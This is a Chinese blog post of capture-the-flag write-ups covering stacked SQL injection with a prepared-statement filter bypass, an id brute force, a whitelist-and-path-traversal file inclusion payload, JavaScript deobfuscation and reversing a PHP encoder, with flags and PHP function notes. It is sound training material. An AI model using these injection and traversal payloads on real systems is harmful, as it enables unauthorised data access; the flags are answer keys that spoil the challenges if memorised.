zoukankan      html  css  js  c++  java
  • 攻防世界

    supersqli:

    (!!!)

    1.判断有误注入,1'报错, 1’ 报错,1’# 正常且为True,1’ and 1=1# 正常且为True,1’ and 1=2# 正常且为False,所以它里边存在注入。

    2.

    inject=1’;show databases;#

     3.

    inject=1';show tables;#

    4.看一下这几个表
    1’;show columns from words;#
    1’;show columns from `1919810931114514`;# (字符串为表名操作时要加反引号)
    1’;show columns from hahahah;#
    最后发现在1919810931114514这个表里

    5.然后用concat绕过

    1';use supersqli;set @sql=concat(‘s’,'elect * from 1919810931114514');PREPARE pre FROM @sql;EXECUTE pre;–+ 

    flag:

    flag{c168d583ed0d4d7196967b28cbd0b5e9}

    参考:

    https://blog.csdn.net/gongjingege/article/details/107576587

    ics-06:

    1.点击各个按钮,发现“报表中心”点击后有新页面,并发现有index.php和id索引,

    2.修改id值,发现并没有其他页面,尝试暴力破解,

     

    3.id=2333时长度值不同,测试得到flag,

    flag:

     cyberpeace{1fccd89a11e8ee7bc82ee1ccc7288487}

    warmup:

    1.进入页面,发现是一张“滑稽”......啊这......打开控制台,发现source.php,

    2.进入source.php,

     3.将source.php改为hint.php,发现并没有什么乱用,

    4.依然查看源码,最后if的三个判断条件,

    ①! empty($_REQUEST['file'])
    //要求file变量不为空 ②is_string($_REQUEST[
    'file'])
    //检查是否为字符串 ③emmm::checkFile($_REQUEST[
    'file']

    //利用函数进行检查

    5.对函数进行分析,

    $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
                if (! isset($page) || !is_string($page)) {
                    echo "you can't see it";
                    return false;
                }
    
                if (in_array($page, $whitelist)) {
                    return true;
                }
    //传入的参数是source.php或者hint.php都返回true
    $_page = mb_substr(
                    $page,
                    0,
                    mb_strpos($page . '?', '?')
                );
                if (in_array($_page, $whitelist)) {
                    return true;
                }
    //
    取传进参数首次出现?前的部分,再进行白名单判断,如果还不满足继续往下判断
    $_page = urldecode($page);
                $_page = mb_substr(
                    $_page,
                    0,
                    mb_strpos($_page . '?', '?')
                );
                if (in_array($_page, $whitelist)) {
                    return true;
                }
                echo "you can't see it";
                return false;
    //将传进的参数进行urldecode编码,然后进行上一步判断,都不满足就输出"you can't see it"并且返回假

    6.由于是request请求,因此可以利用GET,POST,COOKIE传参(此处使用GET),

    7.构造满足第二个判断条件的payload,

    http://220.249.52.133:55731/source.php?file=source.php?
    http://220.249.52.133:55731/source.php?file=hint.php? 

    8.构造payload四层目录,

    http://220.249.52.133:55731/source.php?file=source.php?../../../../../ffffllllaaaagggg

    9.得到flag,

    flag:

     flag{25e7bce6005c4e0c983fb97297ac6e5a} 

    补充:

    include函数某个功能:以字符‘/’分隔(而且不计个数),若是在前面的字符串所代表的文件无法被PHP找到,则PHP会自动包含‘/’后面的文件——注意是最后一个‘/’。
    include
    (PHP 4, PHP 5, PHP 7)
    include 语句包含并运行指定文件。
    
    以下文档也适用于 require。
    被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照 include_path 指定的目录寻找。如果在 include_path 下没找到该文件则 include 最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则 include 结构会发出一条警告;这一点和 require 不同,后者会发出一个致命错误。
    
    如果定义了路径——不管是绝对路径(在 Windows 下以盘符或者  开头,在 Unix/Linux 下以 / 开头)还是当前目录的相对路径(以 . 或者 .. 开头)——include_path 都会被完全忽略。例如一个文件以 ../ 开头,则解析器会在当前目录的父目录下寻找该文件。
    
    有关 PHP 怎样处理包含文件和包含路径的更多信息参见 include_path 部分的文档。
    
    当一个文件被包含时,其中所包含的代码继承了 include 所在行的变量范围。从该处开始,调用文件在该行处可用的任何变量在被调用的文件中也都可用。不过所有在包含文件中定义的函数和类都具有全局作用域。  
    mb_strpos
    (PHP 4 >= 4.0.6, PHP 5, PHP 7)
    
    mb_strpos — 查找字符串在另一个字符串中首次出现的位置
    mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置
    
    语法:
    mb_strpos (haystack ,needle )
    
    参数:
    haystack:要被检查的字符串。
    needle:要搜索的字符串。
    mb_substr() 函数返回字符串的一部分,之前我们学过 substr() 函数,它只针对英文字符,如果要分割的中文文字则需要使用 mb_substr()。
    
    注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。
    语法
    mb_substr ( string $str , int $start [, int $length = NULL [, string $encoding = mb_internal_encoding() ]] ) : string
    
    参数         描述
    str         必需。从该 string 中提取子字符串。
    
    start     必需。规定在字符串的何处开始。
        正数 - 在字符串的指定位置开始
        负数 - 在从字符串结尾的指定位置开始
        0 - 在字符串中的第一个字符处开始
    
    length    可选。规定要返回的字符串长度。默认是直到字符串的结尾。
        正数 - 从 start 参数所在的位置返回
        负数 - 从字符串末端返回
    
    encoding    可选。字符编码。如果省略,则使用内部字符编码。

    参考:

    https://blog.csdn.net/tch3430493902/article/details/103928125/

    https://blog.csdn.net/qq_42016346/article/details/104199710

    NaNNaNNaNNaN-Batman:

    1.下载附件,用记事本打开发现是乱码,用winhex打开,发现是一段hmtl代码,

    2.将拓展名改为.html并打开,

    3.随便输入一段字符,点击“Ok”发现没有反应,查看代码可以发现,_是一个变量,

     因此将末尾的eval()函数改为alert()函数,再次打开网页,出现弹窗,并得到可阅读的代码,

    4.整理代码,

    function $()
    {
    var e=document.getElementById("c").value;
    if(e.length==16)
    if(e.match(/^be0f23/)!=null)
    if(e.match(/233ac/)!=null)
    if(e.match(/e98aa$/)!=null)
    if(e.match(/c7be9/)!=null)
        {   var t=["fl","s_a","i","e}"];
            var n=["a","_h0l","n"];
            var r=["g{","e","_0"];
            var i=["it'","_","n"];
            var s=[t,n,r,i];
        for(var o=0;o<13;++o)
            {
             document.write(s[o%4][0]);
             s[o%4].splice(0,1)
            }
        }
    }
    document.write('<input id="c"><button onclick=$()>Ok</button>');
    delete _

    5.根据代码中if的条件,依次满足:长度为16,be0f23开头,e98aa结尾,包含233ac,包含c7be9,则:

    be0f233ac7be98aa

     注意:正则表达式,^为开始符,$为结束符

    6.将之前修改的alert()函数改回eval()函数,打开该html文件,输入5中的字符串,

    7.另外,还可以在控制台直接复制以下代码,

    var t=["fl","s_a","i","e}"];
            var n=["a","_h0l","n"];
            var r=["g{","e","_0"];
            var i=["it'","_","n"];
            var s=[t,n,r,i];
        for(var o=0;o<13;++o)
            {
             document.write(s[o%4][0]);
             s[o%4].splice(0,1)
            }

    flag:

    flag{it's_a_h0le_in_0ne}

    具体参考:

    https://www.cnblogs.com/meibumei/p/12876150.html

    web2:

    1.进入页面,是一段代码,而且思路已给出,

    <?php
    $miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
    
    function encode($str){
        $_o=strrev($str);
      //
    // echo $_o; for($_0=0;$_0<strlen($_o);$_0++){ $_c=substr($_o,$_0,1); $__=ord($_c)+1; $_c=chr($__); $_=$_.$_c; } return str_rot13(strrev(base64_encode($_))); } highlight_file(__FILE__); /* 逆向加密算法,解密$miwen就是flag */ ?>

    2.编写逆向代码,

    <?php
    $str='a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';
    $_ = base64_decode(strrev(str_rot13($str)));
    $_o=NULL;
    for($_0=0;$_0<strlen($_);$_0++){  
           
            $_c=substr($_,$_0,1);  
    
            $__=ord($_c)-1;  
    
            $_c=chr($__);  
    
            $_o=$_o.$_c;   
        } 
    echo strrev($_o);
    ?>

    3.得到flag,

    flag:

    flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}

    补充:

    str_rot13() 函数对字符串执行 ROT13 编码。
    
    ROT13 编码把每一个字母在字母表中向前移动 13 个字母。数字和非字母字符保持不变。
    
    提示:编码和解码都是由相同的函数完成的。如果您把已编码的字符串作为参数,那么将返回原始字符串。
    strrev() 函数反转字符串。
    ord() 函数返回字符串的首个字符的 ASCII 值。
    chr
    
    (PHP 4, PHP 5, PHP 7)
    
    chr — 返回指定的字符
    说明
    chr ( int $ascii ) : string
    
    返回相对应于 ascii 所指定的单个字符。
    
    此函数与 ord() 是互补的。

    参考:
    https://blog.csdn.net/weixin_42499640/article/details/99102049 

  • 相关阅读:
    开发者最好的推广平台
    [ERR] 2006
    PS通道
    PS图层样式
    PS 图层 蒙版
    科研狗的基本绘图技巧 | PS | AI
    memcached的常规操作:增删改查【转】
    mysql:pt-online-schema-change 在线修改表、删除表数据【转】
    HAProxy的四层与七层的区别及透传IP实战案例【转】
    【springBoot】SpringBoot修改启动logo图案
  • 原文地址:https://www.cnblogs.com/3cH0-Nu1L/p/13592195.html
Copyright © 2011-2022 走看看